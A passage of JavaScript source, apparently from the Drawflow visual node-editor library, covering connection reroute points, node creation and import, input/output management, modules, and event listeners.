let linecurve = ''; const reoute_fix = []; points.forEach((item, i) => { if(i === 0 && ((points.length -1) === 0)) { var elemtsearchId_out = container.querySelector(`#${id}`); var elemtsearch = item; var line_x = (elemtsearch.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var line_y = (elemtsearch.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom +rerouteWidth; var elemtsearchIn = elemtsearchId_out.querySelectorAll('.'+item.parentElement.classList[4])[0] var eX = elemtsearchIn.offsetWidth/2 + (elemtsearchIn.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var eY = elemtsearchIn.offsetHeight/2 + (elemtsearchIn.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; var x = eX; var y = eY; var lineCurveSearch = createCurvature(line_x, line_y, x, y, reroute_curvature_start_end, 'close'); linecurve += lineCurveSearch; reoute_fix.push(lineCurveSearch); var elemtsearchId_out = item; var id_search = item.parentElement.classList[2].replace('node_out_', ''); var elemtsearchId = container.querySelector(`#${id_search}`); var elemtsearch = elemtsearchId.querySelectorAll('.'+item.parentElement.classList[3])[0] var elemtsearchOut = elemtsearchId.querySelectorAll('.'+item.parentElement.classList[3])[0] var line_x = elemtsearchOut.offsetWidth/2 + (elemtsearchOut.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var line_y = elemtsearchOut.offsetHeight/2 + (elemtsearchOut.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; var eX = (elemtsearchId_out.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var eY = (elemtsearchId_out.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom + rerouteWidth; var x = eX; var y = eY; var lineCurveSearch = createCurvature(line_x, line_y, x, y, reroute_curvature_start_end, 'open'); linecurve += lineCurveSearch; reoute_fix.push(lineCurveSearch); } else if(i === 0) { // FIRST var elemtsearchId_out = item; var id_search = item.parentElement.classList[2].replace('node_out_', ''); var elemtsearchId = container.querySelector(`#${id_search}`); var elemtsearch = elemtsearchId.querySelectorAll('.'+item.parentElement.classList[3])[0] var elemtsearchOut = elemtsearchId.querySelectorAll('.'+item.parentElement.classList[3])[0] var line_x = elemtsearchOut.offsetWidth/2 + (elemtsearchOut.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var line_y = elemtsearchOut.offsetHeight/2 + (elemtsearchOut.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; var eX = (elemtsearchId_out.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var eY = (elemtsearchId_out.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom + rerouteWidth; var x = eX; var y = eY; var lineCurveSearch = createCurvature(line_x, line_y, x, y, reroute_curvature_start_end, 'open'); linecurve += lineCurveSearch; reoute_fix.push(lineCurveSearch); // SECOND var elemtsearchId_out = item; var elemtsearch = points[i+1]; var eX = (elemtsearch.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var eY = (elemtsearch.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom +rerouteWidth; var line_x = (elemtsearchId_out.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var line_y = (elemtsearchId_out.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom + rerouteWidth; var x = eX; var y = eY; var lineCurveSearch = createCurvature(line_x, line_y, x, y, reroute_curvature, 'other'); linecurve += lineCurveSearch; reoute_fix.push(lineCurveSearch); } else if (i === (points.length -1)) { var elemtsearchId_out = item; var id_search = item.parentElement.classList[1].replace('node_in_', ''); var elemtsearchId = container.querySelector(`#${id_search}`); var elemtsearch = elemtsearchId.querySelectorAll('.'+item.parentElement.classList[4])[0] var elemtsearchIn = elemtsearchId.querySelectorAll('.'+item.parentElement.classList[4])[0] var eX = elemtsearchIn.offsetWidth/2 + (elemtsearchIn.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var eY = elemtsearchIn.offsetHeight/2 + (elemtsearchIn.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; var line_x = (elemtsearchId_out.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var line_y = (elemtsearchId_out.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom + rerouteWidth; var x = eX; var y = eY; var lineCurveSearch = createCurvature(line_x, line_y, x, y, reroute_curvature_start_end, 'close'); linecurve += lineCurveSearch; reoute_fix.push(lineCurveSearch); } else { var elemtsearchId_out = item; var elemtsearch = points[i+1]; var eX = (elemtsearch.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var eY = (elemtsearch.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom +rerouteWidth; var line_x = (elemtsearchId_out.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var line_y = (elemtsearchId_out.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom + rerouteWidth; var x = eX; var y = eY; var lineCurveSearch = createCurvature(line_x, line_y, x, y, reroute_curvature, 'other'); linecurve += lineCurveSearch; reoute_fix.push(lineCurveSearch); } }); if(reroute_fix_curvature) { reoute_fix.forEach((itempath, i) => { elems[item].children[i].setAttributeNS(null, 'd', itempath); }); } else { elems[item].children[0].setAttributeNS(null, 'd', linecurve); } } }) } dblclick(e) { if(this.connection_selected != null && this.reroute) { this.createReroutePoint(this.connection_selected); } if(e.target.classList[0] === 'point') { this.removeReroutePoint(e.target); } } createReroutePoint(ele) { this.connection_selected.classList.remove("selected"); const nodeUpdate = this.connection_selected.parentElement.classList[2].slice(9); const nodeUpdateIn = this.connection_selected.parentElement.classList[1].slice(13); const output_class = this.connection_selected.parentElement.classList[3]; const input_class = this.connection_selected.parentElement.classList[4]; this.connection_selected = null; const point = document.createElementNS('http://www.w3.org/2000/svg',"circle"); point.classList.add("point"); var pos_x = this.pos_x * ( this.precanvas.clientWidth / (this.precanvas.clientWidth * this.zoom)) - (this.precanvas.getBoundingClientRect().x * ( this.precanvas.clientWidth / (this.precanvas.clientWidth * this.zoom))); var pos_y = this.pos_y * ( this.precanvas.clientHeight / (this.precanvas.clientHeight * this.zoom)) - (this.precanvas.getBoundingClientRect().y * ( this.precanvas.clientHeight / (this.precanvas.clientHeight * this.zoom))); point.setAttributeNS(null, 'cx', pos_x); point.setAttributeNS(null, 'cy', pos_y); point.setAttributeNS(null, 'r', this.reroute_width); let position_add_array_point = 0; if(this.reroute_fix_curvature) { const numberPoints = ele.parentElement.querySelectorAll(".main-path").length; var path = document.createElementNS('http://www.w3.org/2000/svg',"path"); path.classList.add("main-path"); path.setAttributeNS(null, 'd', ''); ele.parentElement.insertBefore(path, ele.parentElement.children[numberPoints]); if(numberPoints === 1) { ele.parentElement.appendChild(point); } else { const search_point = Array.from(ele.parentElement.children).indexOf(ele) position_add_array_point = search_point; ele.parentElement.insertBefore(point, ele.parentElement.children[search_point+numberPoints+1]); } } else { ele.parentElement.appendChild(point); } const nodeId = nodeUpdate.slice(5); const searchConnection = this.drawflow.drawflow[this.module].data[nodeId].outputs[output_class].connections.findIndex(function(item,i) { return item.node === nodeUpdateIn && item.output === input_class; }); if(this.drawflow.drawflow[this.module].data[nodeId].outputs[output_class].connections[searchConnection].points === undefined) { this.drawflow.drawflow[this.module].data[nodeId].outputs[output_class].connections[searchConnection].points = []; } if(this.reroute_fix_curvature) { if(position_add_array_point > 0 || this.drawflow.drawflow[this.module].data[nodeId].outputs[output_class].connections[searchConnection].points !== []) { this.drawflow.drawflow[this.module].data[nodeId].outputs[output_class].connections[searchConnection].points.splice(position_add_array_point, 0, { pos_x: pos_x, pos_y: pos_y }); } else { this.drawflow.drawflow[this.module].data[nodeId].outputs[output_class].connections[searchConnection].points.push({ pos_x: pos_x, pos_y: pos_y }); } ele.parentElement.querySelectorAll(".main-path").forEach((item, i) => { item.classList.remove("selected"); }); } else { this.drawflow.drawflow[this.module].data[nodeId].outputs[output_class].connections[searchConnection].points.push({ pos_x: pos_x, pos_y: pos_y }); } this.dispatch('addReroute', nodeId); this.updateConnectionNodes(nodeUpdate); } removeReroutePoint(ele) { const nodeUpdate = ele.parentElement.classList[2].slice(9) const nodeUpdateIn = ele.parentElement.classList[1].slice(13); const output_class = ele.parentElement.classList[3]; const input_class = ele.parentElement.classList[4]; let numberPointPosition = Array.from(ele.parentElement.children).indexOf(ele); const nodeId = nodeUpdate.slice(5); const searchConnection = this.drawflow.drawflow[this.module].data[nodeId].outputs[output_class].connections.findIndex(function(item,i) { return item.node === nodeUpdateIn && item.output === input_class; }); if(this.reroute_fix_curvature) { const numberMainPath = ele.parentElement.querySelectorAll(".main-path").length ele.parentElement.children[numberMainPath-1].remove(); numberPointPosition -= numberMainPath; if(numberPointPosition < 0) { numberPointPosition = 0; } } else { numberPointPosition--; } this.drawflow.drawflow[this.module].data[nodeId].outputs[output_class].connections[searchConnection].points.splice(numberPointPosition,1); ele.remove(); this.dispatch('removeReroute', nodeId); this.updateConnectionNodes(nodeUpdate); } registerNode(name, html, props = null, options = null) { this.noderegister[name] = {html: html, props: props, options: options}; } getNodeFromId(id) { var moduleName = this.getModuleFromNodeId(id) return JSON.parse(JSON.stringify(this.drawflow.drawflow[moduleName].data[id])); } getNodesFromName(name) { var nodes = []; const editor = this.drawflow.drawflow Object.keys(editor).map(function(moduleName, index) { for (var node in editor[moduleName].data) { if(editor[moduleName].data[node].name == name) { nodes.push(editor[moduleName].data[node].id); } } }); return nodes; } addNode (name, num_in, num_out, ele_pos_x, ele_pos_y, classoverride, data, html, typenode = false) { if (this.useuuid) { var newNodeId = this.getUuid(); } else { var newNodeId = this.nodeId; } const parent = document.createElement('div'); parent.classList.add("parent-node"); const node = document.createElement('div'); node.innerHTML = ""; node.setAttribute("id", "node-"+newNodeId); node.classList.add("drawflow-node"); if(classoverride != '') { node.classList.add(...classoverride.split(' ')); } const inputs = document.createElement('div'); inputs.classList.add("inputs"); const outputs = document.createElement('div'); outputs.classList.add("outputs"); const json_inputs = {} for(var x = 0; x < num_in; x++) { const input = document.createElement('div'); input.classList.add("input"); input.classList.add("input_"+(x+1)); json_inputs["input_"+(x+1)] = { "connections": []}; inputs.appendChild(input); } const json_outputs = {} for(var x = 0; x < num_out; x++) { const output = document.createElement('div'); output.classList.add("output"); output.classList.add("output_"+(x+1)); json_outputs["output_"+(x+1)] = { "connections": []}; outputs.appendChild(output); } const content = document.createElement('div'); content.classList.add("drawflow_content_node"); if(typenode === false) { content.innerHTML = html; } else if (typenode === true) { content.appendChild(this.noderegister[html].html.cloneNode(true)); } else { if(parseInt(this.render.version) === 3 ) { //Vue 3 let wrapper = this.render.h(this.noderegister[html].html, this.noderegister[html].props, this.noderegister[html].options); wrapper.appContext = this.parent; this.render.render(wrapper,content); } else { // Vue 2 let wrapper = new this.render({ parent: this.parent, render: h => h(this.noderegister[html].html, { props: this.noderegister[html].props }), ...this.noderegister[html].options }).$mount() // content.appendChild(wrapper.$el); } } Object.entries(data).forEach(function (key, value) { if(typeof key[1] === "object") { insertObjectkeys(null, key[0], key[0]); } else { var elems = content.querySelectorAll('[df-'+key[0]+']'); for(var i = 0; i < elems.length; i++) { elems[i].value = key[1]; if(elems[i].isContentEditable) { elems[i].innerText = key[1]; } } } }) function insertObjectkeys(object, name, completname) { if(object === null) { var object = data[name]; } else { var object = object[name] } if(object !== null) { Object.entries(object).forEach(function (key, value) { if(typeof key[1] === "object") { insertObjectkeys(object, key[0], completname+'-'+key[0]); } else { var elems = content.querySelectorAll('[df-'+completname+'-'+key[0]+']'); for(var i = 0; i < elems.length; i++) { elems[i].value = key[1]; if(elems[i].isContentEditable) { elems[i].innerText = key[1]; } } } }); } } node.appendChild(inputs); node.appendChild(content); node.appendChild(outputs); node.style.top = ele_pos_y + "px"; node.style.left = ele_pos_x + "px"; parent.appendChild(node); this.precanvas.appendChild(parent); var json = { id: newNodeId, name: name, data: data, class: classoverride, html: html, typenode: typenode, inputs: json_inputs, outputs: json_outputs, pos_x: ele_pos_x, pos_y: ele_pos_y, } this.drawflow.drawflow[this.module].data[newNodeId] = json; this.dispatch('nodeCreated', newNodeId); if (!this.useuuid) { this.nodeId++; } return newNodeId; } addNodeImport (dataNode, precanvas) { const parent = document.createElement('div'); parent.classList.add("parent-node"); const node = document.createElement('div'); node.innerHTML = ""; node.setAttribute("id", "node-"+dataNode.id); node.classList.add("drawflow-node"); if(dataNode.class != '') { node.classList.add(...dataNode.class.split(' ')); } const inputs = document.createElement('div'); inputs.classList.add("inputs"); const outputs = document.createElement('div'); outputs.classList.add("outputs"); Object.keys(dataNode.inputs).map(function(input_item, index) { const input = document.createElement('div'); input.classList.add("input"); input.classList.add(input_item); inputs.appendChild(input); Object.keys(dataNode.inputs[input_item].connections).map(function(output_item, index) { var connection = document.createElementNS('http://www.w3.org/2000/svg',"svg"); var path = document.createElementNS('http://www.w3.org/2000/svg',"path"); path.classList.add("main-path"); path.setAttributeNS(null, 'd', ''); // path.innerHTML = 'a'; connection.classList.add("connection"); connection.classList.add("node_in_node-"+dataNode.id); connection.classList.add("node_out_node-"+dataNode.inputs[input_item].connections[output_item].node); connection.classList.add(dataNode.inputs[input_item].connections[output_item].input); connection.classList.add(input_item); connection.appendChild(path); precanvas.appendChild(connection); }); }); for(var x = 0; x < Object.keys(dataNode.outputs).length; x++) { const output = document.createElement('div'); output.classList.add("output"); output.classList.add("output_"+(x+1)); outputs.appendChild(output); } const content = document.createElement('div'); content.classList.add("drawflow_content_node"); if(dataNode.typenode === false) { content.innerHTML = dataNode.html; } else if (dataNode.typenode === true) { content.appendChild(this.noderegister[dataNode.html].html.cloneNode(true)); } else { if(parseInt(this.render.version) === 3 ) { //Vue 3 let wrapper = this.render.h(this.noderegister[dataNode.html].html, this.noderegister[dataNode.html].props, this.noderegister[dataNode.html].options); wrapper.appContext = this.parent; this.render.render(wrapper,content); } else { //Vue 2 let wrapper = new this.render({ parent: this.parent, render: h => h(this.noderegister[dataNode.html].html, { props: this.noderegister[dataNode.html].props }), ...this.noderegister[dataNode.html].options }).$mount() content.appendChild(wrapper.$el); } } Object.entries(dataNode.data).forEach(function (key, value) { if(typeof key[1] === "object") { insertObjectkeys(null, key[0], key[0]); } else { var elems = content.querySelectorAll('[df-'+key[0]+']'); for(var i = 0; i < elems.length; i++) { if(elems[i].type == 'radio'){ if(elems[i].value == key[1]){ elems[i].checked = true; }else{ elems[i].checked = false; } }else{ elems[i].value = key[1]; if(elems[i].isContentEditable) { elems[i].innerText = key[1]; } } } } }) function insertObjectkeys(object, name, completname) { if(object === null) { var object = dataNode.data[name]; } else { var object = object[name] } if(object !== null) { Object.entries(object).forEach(function (key, value) { if(typeof key[1] === "object") { insertObjectkeys(object, key[0], completname+'-'+key[0]); } else { var elems = content.querySelectorAll('[df-'+completname+'-'+key[0]+']'); for(var i = 0; i < elems.length; i++) { elems[i].value = key[1]; if(elems[i].isContentEditable) { elems[i].innerText = key[1]; } } } }); } } node.appendChild(inputs); node.appendChild(content); node.appendChild(outputs); node.style.top = dataNode.pos_y + "px"; node.style.left = dataNode.pos_x + "px"; parent.appendChild(node); this.precanvas.appendChild(parent); } addRerouteImport(dataNode) { const reroute_width = this.reroute_width const reroute_fix_curvature = this.reroute_fix_curvature const container = this.container; Object.keys(dataNode.outputs).map(function(output_item, index) { Object.keys(dataNode.outputs[output_item].connections).map(function(input_item, index) { const points = dataNode.outputs[output_item].connections[input_item].points if(points !== undefined) { points.forEach((item, i) => { const input_id = dataNode.outputs[output_item].connections[input_item].node; const input_class = dataNode.outputs[output_item].connections[input_item].output; const ele = container.querySelector('.connection.node_in_node-'+input_id+'.node_out_node-'+dataNode.id+'.'+output_item+'.'+input_class); if(reroute_fix_curvature) { if(i === 0) { for (var z = 0; z < points.length; z++) { var path = document.createElementNS('http://www.w3.org/2000/svg',"path"); path.classList.add("main-path"); path.setAttributeNS(null, 'd', ''); ele.appendChild(path); } } } const point = document.createElementNS('http://www.w3.org/2000/svg',"circle"); point.classList.add("point"); var pos_x = item.pos_x; var pos_y = item.pos_y; point.setAttributeNS(null, 'cx', pos_x); point.setAttributeNS(null, 'cy', pos_y); point.setAttributeNS(null, 'r', reroute_width); ele.appendChild(point); }); }; }); }); } updateNodeValue(event) { var attr = event.target.attributes for (var i = 0; i < attr.length; i++) { if (attr[i].nodeName.startsWith('df-')) { var keys = attr[i].nodeName.slice(3).split("-"); var target = this.drawflow.drawflow[this.module].data[event.target.closest(".drawflow_content_node").parentElement.id.slice(5)].data; for (var index = 0; index < keys.length - 1; index += 1) { if (target[keys[index]] == null) { target[keys[index]] = {}; } target = target[keys[index]]; } target[keys[keys.length - 1]] = event.target.value; if(event.target.isContentEditable) { target[keys[keys.length - 1]] = event.target.innerText; } this.dispatch('nodeDataChanged', event.target.closest(".drawflow_content_node").parentElement.id.slice(5)); } } } updateNodeDataFromId(id, data) { var moduleName = this.getModuleFromNodeId(id) this.drawflow.drawflow[moduleName].data[id].data = data; if(this.module === moduleName) { const content = this.container.querySelector('#node-'+id); Object.entries(data).forEach(function (key, value) { if(typeof key[1] === "object") { insertObjectkeys(null, key[0], key[0]); } else { var elems = content.querySelectorAll('[df-'+key[0]+']'); for(var i = 0; i < elems.length; i++) { elems[i].value = key[1]; if(elems[i].isContentEditable) { elems[i].innerText = key[1]; } } } }) function insertObjectkeys(object, name, completname) { if(object === null) { var object = data[name]; } else { var object = object[name] } if(object !== null) { Object.entries(object).forEach(function (key, value) { if(typeof key[1] === "object") { insertObjectkeys(object, key[0], completname+'-'+key[0]); } else { var elems = content.querySelectorAll('[df-'+completname+'-'+key[0]+']'); for(var i = 0; i < elems.length; i++) { elems[i].value = key[1]; if(elems[i].isContentEditable) { elems[i].innerText = key[1]; } } } }); } } } } addNodeInput(id) { var moduleName = this.getModuleFromNodeId(id) const infoNode = this.getNodeFromId(id) const numInputs = Object.keys(infoNode.inputs).length; if(this.module === moduleName) { //Draw input const input = document.createElement('div'); input.classList.add("input"); input.classList.add("input_"+(numInputs+1)); const parent = this.container.querySelector('#node-'+id+' .inputs'); parent.appendChild(input); this.updateConnectionNodes('node-'+id); } this.drawflow.drawflow[moduleName].data[id].inputs["input_"+(numInputs+1)] = { "connections": []}; } addNodeOutput(id) { var moduleName = this.getModuleFromNodeId(id) const infoNode = this.getNodeFromId(id) const numOutputs = Object.keys(infoNode.outputs).length; if(this.module === moduleName) { //Draw output const output = document.createElement('div'); output.classList.add("output"); output.classList.add("output_"+(numOutputs+1)); const parent = this.container.querySelector('#node-'+id+' .outputs'); parent.appendChild(output); this.updateConnectionNodes('node-'+id); } this.drawflow.drawflow[moduleName].data[id].outputs["output_"+(numOutputs+1)] = { "connections": []}; } removeNodeInput(id, input_class) { var moduleName = this.getModuleFromNodeId(id) const infoNode = this.getNodeFromId(id) if(this.module === moduleName) { this.container.querySelector('#node-'+id+' .inputs .input.'+input_class).remove(); } const removeInputs = []; Object.keys(infoNode.inputs[input_class].connections).map(function(key, index) { const id_output = infoNode.inputs[input_class].connections[index].node; const output_class = infoNode.inputs[input_class].connections[index].input; removeInputs.push({id_output, id, output_class, input_class}) }) // Remove connections removeInputs.forEach((item, i) => { this.removeSingleConnection(item.id_output, item.id, item.output_class, item.input_class); }); delete this.drawflow.drawflow[moduleName].data[id].inputs[input_class]; // Update connection const connections = []; const connectionsInputs = this.drawflow.drawflow[moduleName].data[id].inputs Object.keys(connectionsInputs).map(function(key, index) { connections.push(connectionsInputs[key]); }); this.drawflow.drawflow[moduleName].data[id].inputs = {}; const input_class_id = input_class.slice(6); let nodeUpdates = []; connections.forEach((item, i) => { item.connections.forEach((itemx, f) => { nodeUpdates.push(itemx); }); this.drawflow.drawflow[moduleName].data[id].inputs['input_'+ (i+1)] = item; }); nodeUpdates = new Set(nodeUpdates.map(e => JSON.stringify(e))); nodeUpdates = Array.from(nodeUpdates).map(e => JSON.parse(e)); if(this.module === moduleName) { const eles = this.container.querySelectorAll("#node-"+id +" .inputs .input"); eles.forEach((item, i) => { const id_class = item.classList[1].slice(6); if(parseInt(input_class_id) < parseInt(id_class)) { item.classList.remove('input_'+id_class); item.classList.add('input_'+(id_class-1)); } }); } nodeUpdates.forEach((itemx, i) => { this.drawflow.drawflow[moduleName].data[itemx.node].outputs[itemx.input].connections.forEach((itemz, g) => { if(itemz.node == id) { const output_id = itemz.output.slice(6); if(parseInt(input_class_id) < parseInt(output_id)) { if(this.module === moduleName) { const ele = this.container.querySelector(".connection.node_in_node-"+id+".node_out_node-"+itemx.node+"."+itemx.input+".input_"+output_id); ele.classList.remove('input_'+output_id); ele.classList.add('input_'+(output_id-1)); } if(itemz.points) { this.drawflow.drawflow[moduleName].data[itemx.node].outputs[itemx.input].connections[g] = { node: itemz.node, output: 'input_'+(output_id-1), points: itemz.points } } else { this.drawflow.drawflow[moduleName].data[itemx.node].outputs[itemx.input].connections[g] = { node: itemz.node, output: 'input_'+(output_id-1)} } } } }); }); this.updateConnectionNodes('node-'+id); } removeNodeOutput(id, output_class) { var moduleName = this.getModuleFromNodeId(id) const infoNode = this.getNodeFromId(id) if(this.module === moduleName) { this.container.querySelector('#node-'+id+' .outputs .output.'+output_class).remove(); } const removeOutputs = []; Object.keys(infoNode.outputs[output_class].connections).map(function(key, index) { const id_input = infoNode.outputs[output_class].connections[index].node; const input_class = infoNode.outputs[output_class].connections[index].output; removeOutputs.push({id, id_input, output_class, input_class}) }) // Remove connections removeOutputs.forEach((item, i) => { this.removeSingleConnection(item.id, item.id_input, item.output_class, item.input_class); }); delete this.drawflow.drawflow[moduleName].data[id].outputs[output_class]; // Update connection const connections = []; const connectionsOuputs = this.drawflow.drawflow[moduleName].data[id].outputs Object.keys(connectionsOuputs).map(function(key, index) { connections.push(connectionsOuputs[key]); }); this.drawflow.drawflow[moduleName].data[id].outputs = {}; const output_class_id = output_class.slice(7); let nodeUpdates = []; connections.forEach((item, i) => { item.connections.forEach((itemx, f) => { nodeUpdates.push({ node: itemx.node, output: itemx.output }); }); this.drawflow.drawflow[moduleName].data[id].outputs['output_'+ (i+1)] = item; }); nodeUpdates = new Set(nodeUpdates.map(e => JSON.stringify(e))); nodeUpdates = Array.from(nodeUpdates).map(e => JSON.parse(e)); if(this.module === moduleName) { const eles = this.container.querySelectorAll("#node-"+id +" .outputs .output"); eles.forEach((item, i) => { const id_class = item.classList[1].slice(7); if(parseInt(output_class_id) < parseInt(id_class)) { item.classList.remove('output_'+id_class); item.classList.add('output_'+(id_class-1)); } }); } nodeUpdates.forEach((itemx, i) => { this.drawflow.drawflow[moduleName].data[itemx.node].inputs[itemx.output].connections.forEach((itemz, g) => { if(itemz.node == id) { const input_id = itemz.input.slice(7); if(parseInt(output_class_id) < parseInt(input_id)) { if(this.module === moduleName) { const ele = this.container.querySelector(".connection.node_in_node-"+itemx.node+".node_out_node-"+id+".output_"+input_id+"."+itemx.output); ele.classList.remove('output_'+input_id); ele.classList.remove(itemx.output); ele.classList.add('output_'+(input_id-1)); ele.classList.add(itemx.output); } if(itemz.points) { this.drawflow.drawflow[moduleName].data[itemx.node].inputs[itemx.output].connections[g] = { node: itemz.node, input: 'output_'+(input_id-1), points: itemz.points } } else { this.drawflow.drawflow[moduleName].data[itemx.node].inputs[itemx.output].connections[g] = { node: itemz.node, input: 'output_'+(input_id-1)} } } } }); }); this.updateConnectionNodes('node-'+id); } removeNodeId(id) { this.removeConnectionNodeId(id); var moduleName = this.getModuleFromNodeId(id.slice(5)) if(this.module === moduleName) { this.container.querySelector(`#${id}`).remove(); } delete this.drawflow.drawflow[moduleName].data[id.slice(5)]; this.dispatch('nodeRemoved', id.slice(5)); } removeConnection() { if(this.connection_selected != null) { var listclass = this.connection_selected.parentElement.classList; this.connection_selected.parentElement.remove(); var index_out = this.drawflow.drawflow[this.module].data[listclass[2].slice(14)].outputs[listclass[3]].connections.findIndex(function(item,i) { return item.node === listclass[1].slice(13) && item.output === listclass[4] }); this.drawflow.drawflow[this.module].data[listclass[2].slice(14)].outputs[listclass[3]].connections.splice(index_out,1); var index_in = this.drawflow.drawflow[this.module].data[listclass[1].slice(13)].inputs[listclass[4]].connections.findIndex(function(item,i) { return item.node === listclass[2].slice(14) && item.input === listclass[3] }); this.drawflow.drawflow[this.module].data[listclass[1].slice(13)].inputs[listclass[4]].connections.splice(index_in,1); this.dispatch('connectionRemoved', { output_id: listclass[2].slice(14), input_id: listclass[1].slice(13), output_class: listclass[3], input_class: listclass[4] } ); this.connection_selected = null; } } removeSingleConnection(id_output, id_input, output_class, input_class) { var nodeOneModule = this.getModuleFromNodeId(id_output); var nodeTwoModule = this.getModuleFromNodeId(id_input); if(nodeOneModule === nodeTwoModule) { // Check nodes in same module. // Check connection exist var exists = this.drawflow.drawflow[nodeOneModule].data[id_output].outputs[output_class].connections.findIndex(function(item,i) { return item.node == id_input && item.output === input_class }); if(exists > -1) { if(this.module === nodeOneModule) { // In same module with view. this.container.querySelector('.connection.node_in_node-'+id_input+'.node_out_node-'+id_output+'.'+output_class+'.'+input_class).remove(); } var index_out = this.drawflow.drawflow[nodeOneModule].data[id_output].outputs[output_class].connections.findIndex(function(item,i) { return item.node == id_input && item.output === input_class }); this.drawflow.drawflow[nodeOneModule].data[id_output].outputs[output_class].connections.splice(index_out,1); var index_in = this.drawflow.drawflow[nodeOneModule].data[id_input].inputs[input_class].connections.findIndex(function(item,i) { return item.node == id_output && item.input === output_class }); this.drawflow.drawflow[nodeOneModule].data[id_input].inputs[input_class].connections.splice(index_in,1); this.dispatch('connectionRemoved', { output_id: id_output, input_id: id_input, output_class: output_class, input_class: input_class}); return true; } else { return false; } } else { return false; } } removeConnectionNodeId(id) { const idSearchIn = 'node_in_'+id; const idSearchOut = 'node_out_'+id; const elemsOut = this.container.querySelectorAll(`.${idSearchOut}`); for(var i = elemsOut.length-1; i >= 0; i--) { var listclass = elemsOut[i].classList; var index_in = this.drawflow.drawflow[this.module].data[listclass[1].slice(13)].inputs[listclass[4]].connections.findIndex(function(item,i) { return item.node === listclass[2].slice(14) && item.input === listclass[3] }); this.drawflow.drawflow[this.module].data[listclass[1].slice(13)].inputs[listclass[4]].connections.splice(index_in,1); var index_out = this.drawflow.drawflow[this.module].data[listclass[2].slice(14)].outputs[listclass[3]].connections.findIndex(function(item,i) { return item.node === listclass[1].slice(13) && item.output === listclass[4] }); this.drawflow.drawflow[this.module].data[listclass[2].slice(14)].outputs[listclass[3]].connections.splice(index_out,1); elemsOut[i].remove(); this.dispatch('connectionRemoved', { output_id: listclass[2].slice(14), input_id: listclass[1].slice(13), output_class: listclass[3], input_class: listclass[4] } ); } const elemsIn = this.container.querySelectorAll(`.${idSearchIn}`); for(var i = elemsIn.length-1; i >= 0; i--) { var listclass = elemsIn[i].classList; var index_out = this.drawflow.drawflow[this.module].data[listclass[2].slice(14)].outputs[listclass[3]].connections.findIndex(function(item,i) { return item.node === listclass[1].slice(13) && item.output === listclass[4] }); this.drawflow.drawflow[this.module].data[listclass[2].slice(14)].outputs[listclass[3]].connections.splice(index_out,1); var index_in = this.drawflow.drawflow[this.module].data[listclass[1].slice(13)].inputs[listclass[4]].connections.findIndex(function(item,i) { return item.node === listclass[2].slice(14) && item.input === listclass[3] }); this.drawflow.drawflow[this.module].data[listclass[1].slice(13)].inputs[listclass[4]].connections.splice(index_in,1); elemsIn[i].remove(); this.dispatch('connectionRemoved', { output_id: listclass[2].slice(14), input_id: listclass[1].slice(13), output_class: listclass[3], input_class: listclass[4] } ); } } getModuleFromNodeId(id) { var nameModule; const editor = this.drawflow.drawflow Object.keys(editor).map(function(moduleName, index) { Object.keys(editor[moduleName].data).map(function(node, index2) { if(node == id) { nameModule = moduleName; } }) }); return nameModule; } addModule(name) { this.drawflow.drawflow[name] = { "data": {} }; this.dispatch('moduleCreated', name); } changeModule(name) { this.dispatch('moduleChanged', name); this.module = name; this.precanvas.innerHTML = ""; this.canvas_x = 0; this.canvas_y = 0; this.pos_x = 0; this.pos_y = 0; this.mouse_x = 0; this.mouse_y = 0; this.zoom = 1; this.zoom_last_value = 1; this.precanvas.style.transform = ''; this.import(this.drawflow, false); } removeModule(name) { if(this.module === name) { this.changeModule('Home'); } delete this.drawflow.drawflow[name]; this.dispatch('moduleRemoved', name); } clearModuleSelected() { this.precanvas.innerHTML = ""; this.drawflow.drawflow[this.module] = { "data": {} }; } clear () { this.precanvas.innerHTML = ""; this.drawflow = { "drawflow": { "Home": { "data": {} }}}; } export () { const dataExport = JSON.parse(JSON.stringify(this.drawflow)); this.dispatch('export', dataExport); return dataExport; } import (data, notifi = true) { this.clear(); this.drawflow = JSON.parse(JSON.stringify(data)); this.load(); if(notifi) { this.dispatch('import', 'import'); } } /* Events */ on (event, callback) { // Check if the callback is not a function if (typeof callback !== 'function') { console.error(`The listener callback must be a function, the given type is ${typeof callback}`); return false; } // Check if the event is not a string if (typeof event !== 'string') { console.error(`The event name must be a string, the given type is ${typeof event}`); return false; } // Check if this event not exists if (this.events[event] === undefined) { this.events[event] = { listeners: [] } } this.events[event].listeners.push(callback); } removeListener (event, callback) { // Check if this event not exists if (!this.events[event]) return false const listeners = this.events[event].listeners const listenerIndex = listeners.indexOf(callback) const hasListener = listenerIndex 